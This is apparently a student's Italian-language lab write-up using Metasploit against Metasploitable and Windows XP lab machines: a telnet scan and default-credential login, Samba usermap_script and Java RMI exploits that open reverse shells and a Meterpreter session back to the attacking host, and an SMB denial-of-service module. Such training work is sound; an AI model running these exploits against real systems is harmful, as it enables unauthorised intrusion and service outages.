

# Pratica S7/L2

## Traccia:

- Sfruttare la vulnerabilità di auxiliary telnet per Metasploitable
- Sfruttare la vulnerabilità di samba per Metasploitable
- Sfruttare la vulnerabilità di java\_rmi per Metasploitable
- Sfruttare la vulnerabilità di samba per Windows XP

Strumento utilizzati :

- Msfconsole

Obiettivo :

Utilizzare queste vulnerabilità presenti per cercare di entrare nella macchina della vittima

### 1) Telnet

Il primo step è di avviare il programma msfconsole dalla macchina kali . La vulnerabilità che dobbiamo testare è telnet e per vedere se è attivo questo servizio sul Metasploit dobbiamo inserire il seguente comando :

```
search auxiliary/scanner/telnet/telnet_version
```

una volta trovato per utilizzarlo si usa :

```
use auxiliary/scanner/telnet/telnet_version
```

Dopo aver selezionato questo servizio per visualizzare gli requisiti per il setting basta il comando :

```
show options
```

```

searchmsf6 > search auxiliary/scanner/telnet/telnet_version

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  auxiliary/scanner/telnet/telnet_version  normal         No    Telnet Service Banner Detection

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/telnet/telnet_version

msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-----
PASSWORD  password1.txt    no        The password for the specified username
RHOSTS    192.168.32.101  yes       The target host(s), see https://docs.m
etasploit.com/docs/using-metasploit/ba
sics/using-metasploit.html
RPORT     23               yes       The target port (TCP)
THREADS   1                yes       The number of concurrent threads (max
one per host)
TIMEOUT   30               yes       Timeout for the Telnet probe
USERNAME  USERNAME         no        The username to authenticate as

View the full module info with the info, or info -d command.

```

## 1.1) Exploit con Telnet

Dopo aver settato l'indirizzo IP della macchina vittima (set rhosts 192.168.32.101) con il comando :

```
exploit
```

Possiamo ricavare il nome utente e la password dell'utente admin della macchina attaccato e con il comando :

```
telnet 192.168.32.101
```

Riusciamo ad entrare nella macchina attaccato e con gli credenziali possiamo ottenere privilegi sulla macchina

```

msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.32.101
rhosts => 192.168.32.101
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[*] 192.168.32.101:23 - 192.168.32.101:23 TELNET
[*] 192.168.32.101:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.32.101
[*] exec: telnet 192.168.32.101

Trying 192.168.32.101...
Connected to 192.168.32.101.
Escape character is '^['.

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Jan 16 04:05:13 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$

```

## 2) Samba

Lo stesso procedimento si fa anche con samba cercando con :

search exploit/multi/samba/usermap\_script

use exploit/multi/samba/usermap\_script

show options

riusciamo ad utilizzare questo servizio

```

msf6 > search multi/samba/usermap_script

Matching Modules
=====

#  Name                                     Disclosure Date  Rank    Check  Description
-  -  -
0  exploit/multi/samba/usermap_script        2007-05-14      excellent No      Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  ----  -
  CHOST      192.168.32.101  no        The local client address
  CPORT      4444             no        The local client port
  Proxies    []              no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.32.101  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  ----  -
  LHOST     192.168.32.100  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0   Automatic

View the full module info with the info, or info -d command.

```

## 2.1) Exploit Samba

Una volta settato IP della vittima possiamo far partire la macchina

```
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.32.100:445
[*] Command shell session 1 opened (192.168.32.100:445 -> 192.168.32.101:45091) at 2024-01-16 09:29:15 +0000

ifconfig
/bin/sh: line 3: ifconfig: command not found
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:33:97:1e
          inet addr:192.168.32.101  Bcast:192.168.32.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe33:971e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:13 errors:0 dropped:0 overruns:0 frame:0
          TX packets:74 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1366 (1.3 KB)  TX bytes:5637 (5.5 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:111 errors:0 dropped:0 overruns:0 frame:0
          TX packets:111 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:22913 (22.3 KB)  TX bytes:22913 (22.3 KB)
```

Con ifconfig possiamo verificare se l'attacco è andato a buon fine .

## 3) Java\_Rmi

Sempre con il comando :

```
search exploit/multi/misc/java_rmi_server
```

```
use exploit/multi/misc/java_rmi_server
```

```
show options
```

riusciamo a utilizzare questo servizio

```
msf6 > search java_rmi
Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal  No      Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal  No      Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No      Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/m
Display all 418 possibilities? (y or n)
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ----      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    0.0.0.0          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert   no               no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   no               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
```

### 3.1) Exploit java\_rmi

Anche qui una volta settato i parametri richiesti possiamo far partire il servizio e per verificare se funziona correttamente possiamo fare un ifconfig

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.32.101
rhosts => 192.168.32.101
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.32.100:4444
[*] 192.168.32.101:1099 - Using URL: http://192.168.32.100:8080/jEaUEz
[*] 192.168.32.101:1099 - Server started.
[*] 192.168.32.101:1099 - Sending RMI Header...
[*] 192.168.32.101:1099 - Sending RMI Call...
[*] 192.168.32.101:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.32.101
[*] Meterpreter session 1 opened (192.168.32.100:4444 -> 192.168.32.101:54224) at 2024-01-16 09:34:34 +0000

meterpreter > ifconfig

Interface 1
=====
Name      : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name      : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.32.101
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe33:971e
IPv6 Netmask : ::
```

4)

## Samba for windows

Anche si avviene gli stessi procedimenti di prima :

```
search auxiliary/dos/windows/smb/ms09_001_write
```

```
use auxiliary/dos/windows/smb/ms09_001_write
```

```
show options
```

```
set rhosts 192.168.32.103
```

possiamo far partire il servizio

```
msf6 auxiliary(dos/windows/smb/ms09_001_write) > exploit  
[*] Running module against 192.168.32.103
```

```
Attempting to crash the remote host...  
datalenlow=65535 dataoffset=65535 fillersize=72  
rescue  
datalenlow=55535 dataoffset=65535 fillersize=72  
rescue  
datalenlow=45535 dataoffset=65535 fillersize=72  
rescue  
datalenlow=35535 dataoffset=65535 fillersize=72  
rescue  
datalenlow=25535 dataoffset=65535 fillersize=72  
rescue  
datalenlow=15535 dataoffset=65535 fillersize=72  
rescue  
datalenlow=65535 dataoffset=55535 fillersize=72  
rescue  
datalenlow=55535 dataoffset=55535 fillersize=72  
rescue  
datalenlow=45535 dataoffset=55535 fillersize=72  
rescue  
datalenlow=35535 dataoffset=55535 fillersize=72  
rescue  
datalenlow=25535 dataoffset=55535 fillersize=72  
rescue  
datalenlow=15535 dataoffset=55535 fillersize=72  
rescue  
datalenlow=65535 dataoffset=45535 fillersize=72  
rescue  
datalenlow=55535 dataoffset=45535 fillersize=72  
rescue  
datalenlow=45535 dataoffset=45535 fillersize=72  
rescue  
datalenlow=35535 dataoffset=45535 fillersize=72  
rescue  
datalenlow=25535 dataoffset=45535 fillersize=72  
rescue  
datalenlow=15535 dataoffset=45535 fillersize=72  
rescue  
datalenlow=65535 dataoffset=35535 fillersize=72  
rescue  
datalenlow=55535 dataoffset=35535 fillersize=72
```